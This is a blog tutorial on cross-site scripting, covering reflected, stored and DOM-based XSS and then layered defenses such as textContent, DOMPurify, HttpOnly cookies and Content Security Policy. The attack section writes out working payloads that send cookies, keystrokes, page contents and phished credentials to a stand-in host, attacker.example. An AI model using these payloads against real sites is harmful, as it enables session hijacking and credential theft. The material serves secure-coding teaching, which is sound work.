August 1, 2026
Web Security — Part 2: Cross-Site Scripting (XSS)
How attacker-controlled input becomes executable code in your users’ browsers — and the layers that stop it.

By Ayush Verma
11 min read
In Part 1 we looked at the browser's trust boundaries and why the front end is a security surface, not just a rendering layer. This time we go after the most common front-end vulnerability on the web: Cross-Site Scripting, or XSS.
The name is misleading — there's nothing inherently "cross-site" about most XSS today. The useful mental model is simpler:
XSS is when data your app treats as** content gets interpreted by the browser as code.**
What that means in practice:
- Your server, CDN, and React app don't get "hacked" in the classic sense.
- The attacker just finds a spot where user input is written into the page without being treated as untrusted.
- The browser runs that input as a script — in another user's browser, inside your origin, with that user's privileges.
- Once a script runs on your origin, it is your app as far as the browser is concerned. That's the whole problem.
Why "cross-site," then? Mostly history. The bug was first spotted in the '90s, when a malicious page could pull another site's response into an <iframe> and read it with JavaScript — genuinely cross-site. Netscape's Same-Origin Policy shut that door, and the name was shortened to XSS to avoid colliding with CSS (Cascading Style Sheets). The "cross-site" part is largely vestigial now; what remains is plain script injection.
Why it earns your attention: a script running as the user can do almost anything the user can — account takeover, privilege escalation, silent malware drive-bys, defacement, credential theft. XSS has sat at or near the top of the web's vulnerability charts for two decades.
Let's build the intuition, see what an attacker can actually do, then spend the back half on defense.
The three flavors of XSS
They differ only in how the payload reaches the victim — but the fix surface is different for each.
1. Reflected XSS (a.k.a. Non-Persistent / Type-II) — the payload lives in the request (URL query param, form field) and is immediately "reflected" back into the response, unstored. The attacker has to deliver the crafted URL — a link in an email, a DM, an ad. Classic shape: a status page that echoes a query param straight into the HTML.
/status?message=All+is+well → <p>Status: All is well.</p>/status?message=<script>…</script> → <p>Status: <script>…</script></p>- The server never sanitizes
message, so whatever you put in the URL lands in the page and runs in the victim's session.
2. Stored XSS (a.k.a. Persistent / Type-I) — the payload gets saved (a comment, bio, review, support ticket) and served to every user who views it. No delivery step; the victims come to you. This is the dangerous one at scale — one malicious review on a page seen by 100K sellers is a very bad day.
3. DOM-based XSS — the server is never involved. The bug lives in client-side JS that reads from a source it doesn't control (location.hash, location.search, document.referrer, postMessage) and writes it into a dangerous sink (innerHTML, document.write, eval). Because the payload never reaches the server, server-side defenses never even see it — and modern SPAs are full of these.
Almost every example below is DOM-based — that's where front-end engineers actually introduce the bug.
The three types differ only in where the payload lives and whether the server ever touches it.
Here's a stored attack end to end — the most damaging shape, because a single injection harvests from every visitor:
The setup: one innocent-looking line
Here's a welcome banner that reads a name from the URL. 90% of the XSS bugs you'll ship look exactly like this.
<div>Welcome, <span id="username"></span></div>
<script>
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
document.getElementById('username').innerHTML = name; // 👈 the bug
</script><div>Welcome, <span id="username"></span></div>
<script>
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
document.getElementById('username').innerHTML = name; // 👈 the bug
</script>- Visit
?name=Ayush→ "Welcome, Ayush." Looks fine. Ships to prod. - The problem is
innerHTML. It doesn't insert text — it parses a string as HTML and builds live DOM nodes from it. - So the attacker doesn't send a name. They send markup.
The classic first probe:
?name=<img src="x" onerror="alert(document.domain)">?name=<img src="x" onerror="alert(document.domain)">Why this works:
src="x"is nonsense on purpose → the image fails to load → theonerrorhandler fires → the attacker's JS runs.- If that
alertpops up with your domain in it, you have XSS, and everything below is now possible.
Why <img onerror> and not <script>?
- When you set
innerHTML, the browser deliberately does not execute<script>tags inserted that way. - So attackers use event handlers on other tags instead:
<img onerror>,<svg onload>,<body onload>,<iframe onload>— dozens of them. - You cannot blocklist your way out of this. The fix is never "strip the tags I can think of."
Now let's turn that alert into the five things that actually hurt.
1. Session hijacking — stealing the cookie
The crown jewel. If your session lives in a JS-readable cookie, one injected line walks off with the user's logged-in session.
?name=<img src="x" onerror="
new Image().src='https://attacker.example/collect?c='+encodeURIComponent(document.cookie)
">?name=<img src="x" onerror="
new Image().src='https://attacker.example/collect?c='+encodeURIComponent(document.cookie)
">Read it slowly:
new Image().src = '...'→ creates an image and points it at the attacker's server. Setting.srcfires an HTTP GET immediately — no need to attach it to the page, no CORS, because it's "just an image."document.cookie→ the victim's cookies for your origin.encodeURIComponent(...)→ wraps the cookie so special characters (;, =, spaces) survive the trip. Without it, the payload breaks on the first ;.
What happens next:
- The attacker's
/collect?c=...endpoint logs the value. - They paste it into their own cookie jar, refresh your site, and are logged in as the victim — no password needed. They skipped authentication and stole the result of it.
The highest-leverage defense has nothing to do with XSS — mark the cookie HttpOnly:
Set-Cookie: session=...; HttpOnly; Secure; SameSite=StrictSet-Cookie: session=...; HttpOnly; Secure; SameSite=StrictHttpOnly→ makes the cookie invisible todocument.cookie. The attacker can still inject, but the crown jewel is off the table.Secure→ HTTPS only.SameSite→ CSRF mitigation (CSRF is Part 3, up next).- This is defense-in-depth in one flag: assume your XSS defenses fail someday, and keep the session out of the blast radius.
2. Unauthorized actions — acting as the user
Often the attacker doesn't need your cookie — they'll just make the browser use it. The victim is logged in, so any request the injected script fires carries their credentials automatically.
?name=<img src="x" onerror="createPost('Buy crypto here','totally legit link')">?name=<img src="x" onerror="createPost('Buy crypto here','totally legit link')">- If
createPostis your own app function (or the script calls your API directly), the browser sends it with the victim's session. - From the server's view, it's a perfectly authenticated, valid request.
- The user "posted" spam, changed their email, added a shipping address, transferred a balance — whatever your API allows.
// what the payload might actually run
fetch('/api/posts', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ title: 'HACKED', body: '...' })
});// what the payload might actually run
fetch('/api/posts', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ title: 'HACKED', body: '...' })
});This is why XSS is a complete account-takeover primitive — strong auth doesn't help if an attacker can run code that piggybacks on a live session.
3. Capturing keystrokes — the invisible keylogger
Same payload vector — delivered through ?name= again — but this time the onerror wires a listener onto the whole document, including your login and payment forms.
?name=<img src="x" onerror="
document.addEventListener('keypress', e =>
navigator.sendBeacon('https://attacker.example/keys', e.key))
">?name=<img src="x" onerror="
document.addEventListener('keypress', e =>
navigator.sendBeacon('https://attacker.example/keys', e.key))
">- The
onerrorfires once, but thekeypresslistener it installs keeps running for the life of the page. sendBeaconis fire-and-forget telemetry — non-blocking, needs no response, survives navigation.- Every character — passwords, card numbers, the OTP that just arrived — streams off in real time. Same origin, so there's no cross-origin wall to stop it.
4. Stealing critical information — reading the DOM
Sometimes the sensitive data is already on the page: an order summary, a balance, a masked-but-present account number, a CSRF token in a hidden input. Same vector, different payload — grab whatever is rendered and ship it off.
?name=<img src="x" onerror="
navigator.sendBeacon('https://attacker.example/dom', document.body.innerHTML)
">?name=<img src="x" onerror="
navigator.sendBeacon('https://attacker.example/dom', document.body.innerHTML)
">- One line exfiltrates the entire rendered page.
- Seller dashboard → settlement details. Banking page → transaction history. Checkout → whatever the payment SDK left in the DOM.
- The underestimated one: "we don't store the token in a cookie" feels safe — but if it's in the DOM, XSS can read it.
5. Phishing — a fake form on a real page
The most convincing phishing page is a real one. The same ?name= injection drops a login form — with its own action pointing at the attacker's API — onto your genuine, correctly-certificated page.
?name=<form action="https://attacker.example/phish" method="POST">
<input name="email" placeholder="Email">
<input name="password" type="password" placeholder="Password">
<button>Sign in</button>
</form>?name=<form action="https://attacker.example/phish" method="POST">
<input name="email" placeholder="Email">
<input name="password" type="password" placeholder="Password">
<button>Sign in</button>
</form>- No
onerrorneeded here — a<form>injected viainnerHTMLsimply renders, and the browser POSTs the credentials straight to the fake API on submit. - The victim sees your logo, your domain in the address bar, a valid padlock — and hands over their credentials.
- Every instinct we've trained users on ("check the URL, check the lock") confirms the page is legit, because it is. That's what makes on-origin phishing so effective.
Five techniques, one root cause: input became code. The fix is never "block technique #3" — it's to close the door they all walk through.
Mitigation — the layers, in the order they matter
Security is layers, not a silver bullet. Ship as many as you can; each assumes the previous one might fail.
0. Map every input, and validate on arrival.
- You can't defend what you haven't enumerated.
- List every entry point: URL params + hash, form fields,
postMessage,localStorage, WebSocket messages, third-party API responses, and — the one everyone forgets — data you stored earlier (your stored-XSS surface). - Where the shape is known (a dropdown value, a numeric ID, an enum), validate against an allowlist on arrival and reject anything unexpected. Treat this as a complement, though — input filtering is a weak primary defense (you rarely know every valid value for free text), so it never replaces output encoding.
- Stop using
innerHTMLfor text. The 80/20 fix.
el.innerHTML = name; // ❌ parses as HTML — vulnerable
el.textContent = name; // ✅ inserts literal text — safeel.innerHTML = name; // ❌ parses as HTML — vulnerable
el.textContent = name; // ✅ inserts literal text — safetextContent/innerTextwrite the string as-is →<img onerror=...>shows up as visible characters, inert.- Reach for
innerHTMLonly when you genuinely need to render HTML — and never with untrusted input.
2. Escape on output (contextual encoding).
- When you must put untrusted data into HTML, encode the meaningful characters: < →
<, > →>, & →&, " →", ' →'. - Context matters: HTML body, HTML attribute, URL, CSS value, and JS string each need different escaping. Wrong context = escaping doesn't help.
- This hand-bookkeeping is exactly why the next point exists.
3. Let a framework do it for you. A huge part of why XSS declined over the last decade.
function Welcome({ name }) {
return <div>Welcome, {name}</div>; // React escapes this automatically
}function Welcome({ name }) {
return <div>Welcome, {name}</div>; // React escapes this automatically
}- Anything in { } in JSX is treated as a string, HTML-escaped, inserted as text. Angular, Vue, Svelte all do the equivalent.
- Use the framework's data binding and you get the safe path for free.
4. Treat the escape hatches as radioactive.
<div dangerouslySetInnerHTML={{ __html: userContent }} /> // opts OUT of protection<div dangerouslySetInnerHTML={{ __html: userContent }} /> // opts OUT of protection- React →
dangerouslySetInnerHTML. Angular →bypassSecurityTrustHtml. Vue →v-html. - The name is a warning, not a dare. Every use = you've taken back the escaping responsibility.
- In code review, the default question is "why, and is the input sanitized?"
5. Sanitize rich HTML with DOMPurify.
- Sometimes you do need user-authored HTML (rich-text comment, CMS body, markdown). You can't escape it (shows tags) and can't trust it → sanitize it.
- Don't write this yourself — blocklists lose; the HTML parser is weirder than your regex.
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(userContent);
// <img onerror> stripped; <b>, <p>, <a> surviveimport DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(userContent);
// <img onerror> stripped; <b>, <p>, <a> survive- Battle-tested, allowlist-based, configurable (restrict allowed tags/attributes). The standard answer for rich user content.
- Better still, don't accept raw HTML at all — take Markdown and render it through a safe renderer. Users get formatting and you never have to trust HTML in the first place.
- Never
evaluntrusted data.
eval,new Function(str),setTimeout("code string"),setInterval("code string")all turn strings into executable code.- If any part of that string is attacker-influenced, you've handed them a shell.
- Almost never a legitimate reason to
evaluser input — and CSP can block it globally.
7. Send the right response headers.
- Serve every response with an explicit, correct
Content-Type(e.g.application/jsonfor APIs, nottext/html), and addX-Content-Type-Options: nosniff. - Together these stop the browser from MIME-sniffing a response and deciding on its own to run it as HTML/JS. An endpoint that returns attacker-controlled text can turn into XSS purely because the browser guessed "this looks like HTML" —
nosniffcloses that guess.
8. Deploy a Content Security Policy.
- Everything above tries to prevent injection. CSP is the seatbelt for when one gets through.
- It tells the browser which script/style sources to trust — and refuses everything else, even if it's already in your DOM.
CSP — Content Security Policy in depth
A CSP is an allowlist delivered as an HTTP header, enforced by the browser. A starting point:
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none'Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none'CSP is normally delivered as a response header (the preferred form). When you can't set headers — static hosting, for instance — you can ship a subset via a
<meta http-equiv="Content-Security-Policy" content="…">tag in the document<head>. Just know that a few directives (frame-ancestors,report-uri, sandboxing) only work from the header.
What script-src 'self' buys you:
- The browser runs JS only from your own origin.
- The injected
<img onerror="...">from every example above → blocked. Inline handlers and inline<script>aren't "from a source," so they don't match'self'. - The attacker got their string into your DOM, and the browser still declined to run it.
Three concepts worth knowing well:
Allowed sources — declare, per resource type, where each may load from:
script-src,style-src,img-srcconnect-src→ governsfetch/XHR/sendBeacon. Set it tightly and even a successful injection can't phone home toattacker.example.frame-ancestors→ who may iframe you (clickjacking defense).- Golden rule: avoid
'unsafe-inline'and'unsafe-eval'. Adding them to make things "work" quietly disables most of CSP's value.
Nonces (and hashes) — for the legit inline scripts real apps have:
Content-Security-Policy: script-src 'nonce-r4Nd0m2024'<script nonce="r4Nd0m2024"> /* your trusted inline code */ </script>- Generate a fresh random nonce per response; mark your real scripts with it.
- The browser runs only inline scripts carrying that exact nonce. Injected code can't guess it → it dies.
- Hashes (
'sha256-...') do the same for static inline scripts you can pre-compute.
Report-Only mode — never ship a strict CSP straight to prod:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations- Enforces nothing, but reports every time the policy would have blocked something.
- Watch reports → find the third-party scripts you forgot → tighten → then flip to enforcing.
- The difference between a controlled rollout and an incident.
The one-paragraph version
XSS happens when untrusted input is interpreted as code in a user's browser, on your origin — enabling session theft, acting as the user, keylogging, DOM reading, and on-origin phishing. Beat it in layers:
- Prefer
textContentoverinnerHTML - Lean on your framework's default escaping
- Treat
dangerouslySetInnerHTML& friends as radioactive - Sanitize genuine rich HTML with DOMPurify
- Never
evaluser input - Send correct response headers (
Content-Type,X-Content-Type-Options: nosniff) - Put the session in an
HttpOnlycookie so a breakthrough can't grab it - Deploy a CSP (nonces, tight
connect-src, rolled out via Report-Only) as the seatbelt
None of these is exotic — they're mostly one-line habits. XSS stays the web's most common vulnerability not because it's hard to fix, but because it's easy to reintroduce, one
innerHTMLat a time.
Next in the series — Part 3: Cross-Site Request Forgery (CSRF). XSS abuses the trust a user places in a site — running code as them. CSRF flips it: abusing the trust a site places in the user's browser, riding a logged-in session to forge requests the user never intended. We'll cover anti-CSRF tokens, SameSite cookies, and why the two attacks are so often confused.
If this was useful, the rest of the Web Security series and my other deep-dives are on my Medium. Questions or a topic you want covered? Find me on Medium or Topmate.